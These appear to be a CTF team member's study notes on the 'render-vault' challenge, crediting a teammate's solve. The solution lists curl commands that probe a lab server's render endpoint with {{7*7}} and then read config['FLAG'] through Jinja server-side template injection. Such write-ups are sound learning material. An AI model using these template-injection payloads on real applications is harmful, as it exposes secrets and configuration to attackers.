render-vault
- •
Attribution
- •
Solved by Fauzi Ismail during the competition. These are rn’s study notes based on the teammate’s documented solve, not an independent rn solve.
- •
- •
What it asked
- •
Determine whether a render parameter is evaluated by a server-side template engine and read the challenge configuration value.
- •
- •
- •
Solution
- •
base='http://10.0.100.6:8090/render' curl -sG "$base" --data-urlencode 'template={{7*7}}' curl -sG "$base" --data-urlencode "template={{config['FLAG']}}"
- •
- •
Verification
- •
The team document records successful flag recovery. The endpoint was not replayed.
- •
- •
Concepts
- •
Server-side template injection; Jinja expression evaluation; sensitive template context.
- •
- •